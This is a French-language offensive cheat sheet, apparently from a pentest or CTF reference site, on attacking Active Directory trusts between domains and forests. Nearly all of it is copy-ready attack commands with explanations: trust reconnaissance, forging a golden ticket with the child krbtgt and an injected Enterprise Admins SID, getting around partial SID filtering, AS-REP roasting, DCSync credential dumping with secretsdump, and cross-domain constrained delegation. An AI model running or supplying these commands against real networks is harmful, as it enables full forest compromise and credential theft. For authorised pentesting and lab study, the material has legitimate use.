Post-Exploitation

Forest & Trust Attacks

Franchir une frontière de domaine ou de forêt : SID History, DACL inter-domaine et délégation contrainte à travers un trust.

Recon des trusts

Copy command
nxc ldap $DC -u $USER -p $PASS --trusted-for-delegation

Description: Point de départ : identifier si le domaine courant fait partie d'une forêt ou a des trusts sortants/entrants.

Copy command
nltest /domain_trusts /all_trusts /v

Description: Depuis un hôte joint au domaine : liste les trusts avec direction (inbound/outbound/bidirectional) et type (parent-child, forest, external).

Copy command
bloodhound-python -u $USER -p $PASS -d $DOMAIN -ns $DC -c All --zip

Description: Les edges BloodHound (SameForestTrust, CrossForestTrust) donnent une vue graphique des chemins inter-domaines, à croiser avec les ACL locales de chaque domaine.

Copy command
bloodyAD -d $DOMAIN -u $USER -p $PASS -H $DC get children 'CN=ForeignSecurityPrincipals,DC=...' --attr objectSid

Description: Chaque objet ForeignSecurityPrincipal (SID sous forme de CN, ex: CN=S-1-5-11) représente un principal d'un domaine de confiance auquel des droits ont été accordés localement. Un droit WRITE dessus (vu en conditions réelles sur HTB DarkZeroReturns) confirme qu'un compte de l'autre côté du trust a une prise directe sur ce domaine.

Child -> Parent (SID History)

Copy command
ticketer.py -nthash $KRBTGT_CHILD_HASH -domain-sid $CHILD_SID -domain $CHILD_DOMAIN -extra-sid $PARENT_SID-519 Administrator

Description: DA d'un domaine enfant = compromission de toute la forêt : forger un Golden Ticket avec le krbtgt de l'enfant, en injectant le SID Enterprise Admins du parent via -extra-sid (SID History).

Copy command
nxc smb $PARENT_DC -k -u Administrator --use-kcache

Description: Le ticket forgé n'est valide que si SID filtering n'est pas activé sur le trust (souvent désactivé par défaut sur les trusts parent-enfant intra-forêt, contrairement aux trusts externes).

Copy command
lookupsid.py '$DOMAIN/$USER:$PASS@$OTHER_DC' 2000

Description: Même quand SIDFilteringForestAware bloque les SID < 1000 (Enterprise/Domain Admins filtrés), les groupes locaux/custom avec un RID ≥ 1000 passent le filtre (filtrage partiel, pas total). Énumérer les RID au-delà de 1000 pour trouver un groupe utile côté domaine cible.

Copy command
bloodyAD -d $DOMAIN -u $USER -p $PASS -H $OTHER_DC get membership '$GROUP_RID_1000_PLUS'

Description: Vérifier ce que ce groupe RID ≥ 1000 apporte réellement (ex: membre de Backup Operators via un SID intégré S-1-5-32-xxx) avant de forger le ticket avec -extra-sid dessus.

Cross-forest / DACL inter-domaine

Copy command
GetNPUsers.py $DOMAIN/$USER -no-pass -dc-ip $DC -request

Description: Sur un domaine séparé (deux forêts distinctes reliées par un trust, pas de relation parent-enfant), l'enum classique repart de zéro : AS-REP roasting reste souvent le point d'entrée le plus rapide.

Copy command
secretsdump.py $DOMAIN/$USER:$PASS@$DC -just-dc-user Administrator

Description: Un compte compromis avec GetChangesAll (droits DCSync) sur ce second domaine donne l'admin directement, sans jamais passer par un chemin de délégation classique. À vérifier systématiquement après compromission d'un compte quelconque, l'ACL est parfois mal configurée.

Copy command
getST.py -spn $SPN -impersonate $TARGET_USER $DOMAIN/$COMPUTER'$' -hashes :$NTHASH

Description: Si le trust supporte la délégation contrainte inter-domaine (trustedtoauth sur un compte machine/gMSA), la même mécanique de protocol transition s'applique à travers la frontière de domaine.

Copy command
kvno cifs/$OTHER_DC_FQDN@$OTHER_REALM  # puis klist

Description: Sur un trust de forêt à forêt (pas parent-enfant), l'injection SID History (-extra-sid) fonctionne aussi via le même mécanisme ExtraSID, à condition d'utiliser un SID de groupe au RID ≥ 1000 (cf. filtrage partiel ci-dessus). Pour confirmer que le trust accepte réellement le ticket avant de l'utiliser : demander un TGS pour un service de l'autre royaume force un referral inter-realm. klist doit alors afficher un ticket krbtgt/$OTHER_REALM@$THIS_REALM intermédiaire, preuve que le referral a été accordé.